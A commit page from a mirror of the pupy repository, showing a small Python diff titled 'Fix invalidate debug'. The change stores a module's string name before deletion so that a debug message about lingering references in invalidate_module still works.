mirror of https://github.com/n1nj4sec/pupy.git
Fix invalidate debug
This commit is contained in:
parent
aa93dd68bc
commit
81617b38ed
|
@ -491,12 +491,14 @@ def invalidate_module(name):
|
|||
global __debug
|
||||
if __debug:
|
||||
dprint('Remove {} from sys.modules'.format(item))
|
||||
|
||||
item_str = str(item)
|
||||
del item
|
||||
|
||||
for obj in gc.get_objects():
|
||||
if id(obj) == mid:
|
||||
dprint('Module {} still referenced by {}'.format(
|
||||
item, [id(x) for x in gc.get_referrers(obj)]))
|
||||
item_str, [id(x) for x in gc.get_referrers(obj)]))
|
||||
|
||||
gc.collect()
|
||||
|
||||
|
|
Loading…
Reference in New Issue